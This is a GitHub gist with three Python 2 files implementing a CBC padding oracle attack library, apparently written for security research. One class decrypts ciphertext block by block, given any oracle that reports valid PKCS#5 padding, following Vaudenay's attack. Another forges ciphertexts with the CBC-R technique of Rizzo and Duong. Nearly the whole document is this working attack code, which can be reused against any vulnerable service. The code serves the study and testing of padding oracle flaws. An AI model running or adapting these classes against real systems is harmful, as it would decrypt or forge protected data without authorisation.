Created
May 7, 2013 05:04
-
-
Save rcombs/5530367 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Created on Sep 19, 2010 | |
@author: Eloi Sanfelix < eloi AT limited-entropy.com > | |
''' | |
from PaddingOracle.InvalidBlockError import InvalidBlockError | |
import random | |
import struct | |
class CBCREncryptionOracle: | |
''' | |
This class implements an encryption oracle based on a decryption oracle. | |
The decryption oracle must implement a decrypt_block method, which given an input ciphertext | |
block returns the corresponding plaintext block. | |
The technique used is known as CBC-R and was described by Juliano Rizzo and Thai Duong in | |
their BlackHat 2010 presentation "Practical Padding Oracle Attacks". | |
''' | |
def __init__(self,oracle,blockSize=8): | |
self.oracle = oracle | |
self.blockSize = blockSize | |
def encrypt_block(self,input_block, prev_block = None): | |
if (len(input_block) != self.blockSize): | |
print "Received input block of len ",len(input_block) | |
raise InvalidBlockError(self.blockSize,len(input_block)) | |
if (prev_block == None): | |
prev_block = "".join([struct.pack("B",random.getrandbits(8)) for i in range(self.blockSize) ]) | |
ctext = self.oracle.decrypt_block(prev_block) | |
iv = self.oracle.xor_strings(ctext,input_block) | |
return iv+prev_block | |
def encrypt_message(self,message): | |
if (len(message) % self.blockSize != 0): | |
raise InvalidBlockError(self.blockSize,len(message)) | |
nblocks = len(message) / self.blockSize | |
# Encrypt last block | |
ctext = self.encrypt_block(message[-self.blockSize:]) | |
for i in range(1,nblocks): | |
#Obtain next ctext and IV using previous ciphertext block + current message block | |
next = self.encrypt_block(message[-(i+1)*self.blockSize:-(i)*self.blockSize],ctext[0:self.blockSize]) | |
#Add computed previous block to the ciphertext list | |
ctext = next[0:self.blockSize] + ctext | |
return ctext |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Created on Jul 4, 2010 | |
@author: Eloi Sanfelix < eloi AT limited-entropy.com > | |
''' | |
from PaddingOracle.InvalidBlockError import InvalidBlockError | |
import random | |
import struct | |
class DecryptionOracle: | |
''' | |
This class implements a decryption oracle based on a given padding oracle. | |
The attacked padding scheme is the one defined in PKCS#5 and RFC2040, and maybe other places. | |
The attack was first described in the "Security Flaws Induced by CBC Padding. Applications to SSL, IPSEC, WTLS... by Serge Vaudenay" | |
''' | |
def __init__(self,oracle,blockSize=8): | |
''' | |
Creates a new DecryptionOracle object. Receives an oracle function which returns True | |
if the given ciphertext results in a correct padding and False otherwise. A second | |
parameter defining the cipher block size in bytes is also supported (default is 8). | |
''' | |
self.oracle = oracle | |
self.blockSize = blockSize | |
def decrypt_last_bytes(self,block): | |
''' | |
Decrypts the last bytes of block using the oracle. | |
''' | |
if(len(block)!=self.blockSize): | |
raise InvalidBlockError(self.blockSize,len(block)) | |
#First we get some random bytes | |
rand = [random.getrandbits(8) for i in range(self.blockSize)] | |
for b in range(256): | |
#XOR with current guess | |
rand[-1] = rand[-1]^b | |
#Generate padding string | |
randStr = "".join([ struct.pack("B",i) for i in rand ] ) | |
if(self.oracle(randStr+block)): | |
break | |
else: | |
#Remove current guess | |
rand[-1]=rand[-1]^b | |
#Now we have a correct padding, test how many bytes we got! | |
for i in range(self.blockSize-1): | |
#Modify currently tested byte | |
rand[i] = rand[i]^0x01 | |
randStr = "".join([ struct.pack("B",j) for j in rand ] ) | |
if(not self.oracle(randStr+block)): | |
#We got a hit! Byte i is also part of the padding | |
paddingLen = self.blockSize-i | |
#Correct random i | |
rand[i] = rand[i]^0x01 | |
#Return paddingLen final bytes | |
return "".join([ struct.pack("B",i^paddingLen) for i in rand[-paddingLen:]]) | |
#Nothing to do when there is no hit. This byte is useless then. | |
#Could only recover 1 byte. Return it. | |
return "".join(struct.pack("B",rand[-1]^0x01)) | |
def decrypt_next_byte(self,block,known_bytes): | |
''' | |
Given some known final bytes, decrypts the next byte using the padding oracle. | |
''' | |
if(len(block)!=self.blockSize): | |
raise InvalidBlockError | |
numKnownBytes = len(known_bytes) | |
if(numKnownBytes >= self.blockSize): | |
return known_bytes | |
# Craft data that will produce xx ... xx <numKnownBytes+1> ... <numKnownBytes+1> after decryption | |
rand = [random.getrandbits(8) for i in range(self.blockSize-numKnownBytes)] | |
for i in known_bytes: | |
rand.append(struct.unpack("B",i)[0]^(numKnownBytes+1)) | |
#Now we do same trick again to find next byte. | |
for b in range(256): | |
rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b | |
#Generate padding string | |
randStr = "".join([ struct.pack("B",i) for i in rand ] ) | |
if(self.oracle(randStr+block)): | |
break | |
else: | |
rand[-(numKnownBytes+1)] =rand[-(numKnownBytes+1)]^b | |
# Return previous bytes together with current byte | |
return "".join([struct.pack("B",rand[i]^(numKnownBytes+1)) for i in range(self.blockSize-numKnownBytes-1,self.blockSize)]) | |
def decrypt_block(self,block): | |
''' | |
Decrypts the block of ciphertext provided as a parameter. | |
''' | |
bytes = self.decrypt_last_bytes(block) | |
while(len(bytes)!=self.blockSize): | |
bytes = self.decrypt_next_byte(block,bytes) | |
return bytes | |
def decrypt_message(self,ctext, iv = None): | |
''' | |
Decrypts a message using CBC mode. If the IV is not provided, it assumes a null IV. | |
''' | |
#Recover first block | |
result = self.decrypt_block(ctext[0:self.blockSize]) | |
#XOR IV if provided, else we assume zero IV. | |
if( iv != None): | |
result = self.xor_strings(result, iv) | |
#Recover block by block, XORing with previous ctext block | |
for i in range(self.blockSize,len(ctext),self.blockSize): | |
prev = ctext[i-self.blockSize:i] | |
current = self.decrypt_block(ctext[i:i+self.blockSize]) | |
result += self.xor_strings(prev,current) | |
return result | |
def xor_strings(self,s1,s2): | |
result = "" | |
for i in range(len(s1)): | |
result += struct.pack("B",ord(s1[i])^ord(s2[i])) | |
return result | |
def hex_string(self,data): | |
return "".join([ hex(ord(i))+" " for i in data]) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''' | |
Created on Jul 4, 2010 | |
@author: eloi | |
''' | |
class InvalidBlockError(Exception): | |
''' | |
classdocs | |
''' | |
def __init__(self, expectedSize, receivedSize): | |
self.expected = expectedSize | |
self.received = receivedSize | |
def __str__(self): | |
return "Invalid block size: "+self.received+" bytes. Block must be "+self.expected+" bytes long." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment